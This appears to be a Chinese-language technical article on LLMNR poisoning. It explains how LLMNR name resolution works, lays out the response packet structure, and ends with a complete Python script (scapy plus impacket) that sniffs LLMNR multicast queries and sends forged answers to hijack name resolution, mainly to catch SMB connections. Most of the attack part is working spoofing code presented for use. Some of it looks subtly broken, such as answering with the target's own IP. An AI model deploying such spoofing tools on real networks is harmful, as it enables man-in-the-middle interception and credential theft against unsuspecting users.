行业新闻

LLMNR欺骗技术简析

LLMNR欺骗技术简析

LLMNR投毒

LLMNR协议简介

LLMNR(Link-Local Multicast Name Resolution)是用于同一本地链路上的,基于DNS协议的一个协议,同一局域网中的主机可通过该协议去解析其他主机名

查询顺序为

  1. 本地hosts文件解析
  2. 使用DNS解析
  3. 使用LLMNR解析
  4. 使用NBNS解析

前面的两部应该很熟了,我们直接介绍LLMNR的阶段

LLMNR解析过程:

  1. 先检查本地NetBios缓存
  2. 没有则向局域网224.0.0.252(ff02::fb)广播地址广播LLMNR协议数据包
  3. 收到该广播的数据包,若是要找的主机,则向广播主机单播一个返回数据包

LLMNR协议工作再5355端口

LLMNR投毒过程

可以看到这个广播的过程蛮熟悉的,很容易联想到ARP欺骗和DNS欺骗,ARP欺骗和DNS欺骗的主要手段就是当中间人,LLMNR的欺骗手段和这两者差不太多,更像是两者的结合版

首先,LLMNR是在链路层进行广播,所以不需要先ARP欺骗监听流量,其次,由于它基于DNS协议,所以结构也与DNS相近,也就是说需要LLMNR广播包的特征码来构造响应包,才会接受响应。

能触发LLMNR协议的主要就是smb共享,或者ping这种,只要基于链路层的访问就有机会用到LLMNR去解析

233454.jpg

233920.jpg

但是由于毒化后对方要使用链路层服务才会起作用,所以smb共享是主要方式

在触发LLMNR协议进行广播后,就需要做出响应来进行欺骗

对方将接收到的响应包中的地址作为要解析的地址,写入NetBios缓存。在访问对应的内网服务时候就被解析到了攻击者的地址上。

理解ARP欺骗和DNS欺骗这个过程应该就很好理解了。

这是基本的过程,实际上,我们甚至不需要对方去触发LLMNR广播查询,只要我们模拟受害者ip向局域网组播了查询数据包(对方至少得加入广播组),再把响应数据包发给受害者,就能实现LLMNR毒化。但是似乎在每次使用链路层服务时都会寻找,不管之前是否有查找过。(另外写脚本的时候也碰到了一点问题,用socket发送数据包的话,如果要设置UDP广播就无法设置从数据包中读取IP头,即伪造对方IP和发送广播包两者不能共存,不知道是不是写法的问题,网上也没找到有办法。)

甚至在win + r运行框中修改主机名不点执行,也会重新发包查询,而不是点了执行才去查询

所以采用的最好的毒化方法就是像responder那样监听广播中的LLMNR广播数据包,再进行单播欺骗。

(llmnr实在很少使用,正常的局域网中要连接其他局域网内主机都直接用dns完成了,像llmnr大概只能去查询一些刚加进局域网,还未来得到和dns服务器交互,且存在于组播中的主机,所以要完成欺骗也要一点社工手段使对方使用llmnr服务)

LLMNR数据包结构

200227.jpg

一张图解决所有疑惑

虽然有点乱,但是无伤大雅,因为其中变动的点很少

一是前两位红线连的,Transaction ID,也就是DNS中的特征码,需要响应和广播包中的特征码相同

二是深绿色连的name,格式为[长度][名称][\x00\x00],对应图中看一下就懂

三是Type,也就是name后面两位,一般也就三种,[A — \X00\X01][AAAA — \X00\X1C][ANY — \x00\xff],A对应IPV4,AAAA对应IPV6,ANY就是两样兼收。

编写脚本

监听广播

我偷懒用了scapy,想监听就变得更加方便了

sniff(count=1,filter="ip dst 224.0.0.252 and udp and udp port 5355")

由于llmnr广播很少使用,所以这样直接过滤监听地址外加端口基本不会错

拿到数据包后取数据包中的对方ip,数据包id,要查找的名

拿完后就可以构造数据包了

构造返回数据包

返回也是用LLMNR协议写的数据包,查资料的时候有文章说返回是IGMP协议,其实是错的。且LLMNR结构和一般的DNS真的差不了多少


225911.jpg

我把llmnr中之前介绍过的部分圈了出来,多的是ttl,data length 和address

ttl: \x00 \x00 \x00 \x1e 表示30s data length: \x00 \x04 表示长度为4 address: \xc0 \xa8 \x98 \x87 是解析的地址

其余要注意的:

将Answer RRs改为1,表示有一个应答

将ID后的Flags改为\x80\x00表示response包

这是整个一个返回包的结构:

(
            "TID"               # Tid
            "\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            "\x00\x01"          # Question
            "\x00\x01"          # Answer RRS
            "\x00\x00"          # Authority RRS
            "\x00\x00"          # Additional RRS
            "LENGTH"            # Question Name Length
            "NAME"              # Question Name
            "\x00"              # Question Name Null
            "\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "LENGTH"            # Answer Name Length
            "NAME"              # Answer Name
            "\x00"              # Answer Name Null
            "\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "\x00\x00\x00\x1e"  # TTL Default:30s
            "\x00\x04"          # IP Length
            "IPADDR")           # IP Address

效果

001619.jpg

可以看到我们主机中的脚本监听到了广播后就向发送广播方进行了单播

附上脚本


#success

from scapy.all import *
import os
import threading
import time
from impacket import ImpactPacket

def llmnr_listen():
    print("[+]start listing")
    #监听llmnr广播包
    #需要对方ip,数据包id,查找名
    a = sniff(count=1,filter="ip dst 224.0.0.252 and udp and udp port 5355")
    target_ip = a[0][IP].src
    query_id = a[0][LLMNRQuery].id
    query_name = a[0][LLMNRQuery].qd.qname[:-1]
    list_needed = [target_ip,query_id,query_name]
    print("[+]get packet")
    return list_needed

class llmnr_poision:
    def __init__(self,list_needed):
        self.target_ip = list_needed[0]
        print("[+]target ip is:" + self.target_ip)
        self.query_id = list_needed[1]
        print("[+]query id is:" + str(self.query_id))
        self.query_name = list_needed[2]
        print("[+]cheat name is:" + str(self.query_name))
        self.query_length = len(self.query_name)

        self.local_ip = "192.168.1.240"

        self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.HOST = "0.0.0.0"
        self.HOST = ""
        self.PORT = 5355
        #self.MulADDR  = "224.0.0.252"

        self.las = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
        #s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        #self.las.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)


        #self.las.bind((self.HOST, self.PORT))

    def llmnr_answer(self):
        
        self.AnswerData = (
            "TID"               # Tid
            "\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            "\x00\x01"          # Question
            "\x00\x01"          # Answer RRS
            "\x00\x00"          # Authority RRS
            "\x00\x00"          # Additional RRS
            "LENGTH"            # Question Name Length
            "NAME"              # Question Name
            "\x00"              # Question Name Null
            "\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "LENGTH"            # Answer Name Length
            "NAME"              # Answer Name
            "\x00"              # Answer Name Null
            "\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "\x00\x00\x00\x1e"  # TTL Default:30s
            "\x00\x04"          # IP Length
            "IPADDR")           # IP Address


        self.Data = struct.pack("h",self.query_id)[1:]+struct.pack("h",self.query_id)[0:1]
        self.Data = self.Data + (
            b"\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            b"\x00\x01"          # Question
            b"\x00\x01"          # Answer RRS
            b"\x00\x00"          # Authority RRS
            b"\x00\x00" )
        self.Data = self.Data + struct.pack("b",self.query_length)
        self.Data = self.Data + self.query_name
        self.Data = self.Data + (
            b"\x00"              # Question Name Null
            b"\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            b"\x00\x01"          # Class
            )
        self.Data = self.Data + struct.pack("b",self.query_length)
        self.Data = self.Data + self.query_name
        self.Data = self.Data + (
            b"\x00"              # Answer Name Null
            b"\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            b"\x00\x01"          # Class
            b"\x00\x00\x00\x1e"  # TTL Default:30s
            b"\x00\x04"          # IP Length
        )
        self.Data = self.Data + socket.inet_aton(self.target_ip)
        print(self.Data)


        ip = ImpactPacket.IP()
        ip.set_ip_src(self.local_ip)
        ip.set_ip_dst(self.target_ip)

        udp = ImpactPacket.UDP()
        udp.set_uh_sport(self.PORT)
        udp.set_uh_dport(self.PORT)


        udp.contains(ImpactPacket.Data(self.Data))
        ip.contains(udp)
        print(ip.get_packet())

        print("[+]send packet")
        while True:
            self.las.sendto(udp.get_packet(), (self.target_ip,self.PORT))
            time.sleep(100)
        print("[+]finish")

get_muti_pack = llmnr_listen()

llmnr = llmnr_poision(get_muti_pack)
llmnr.llmnr_answer()
关闭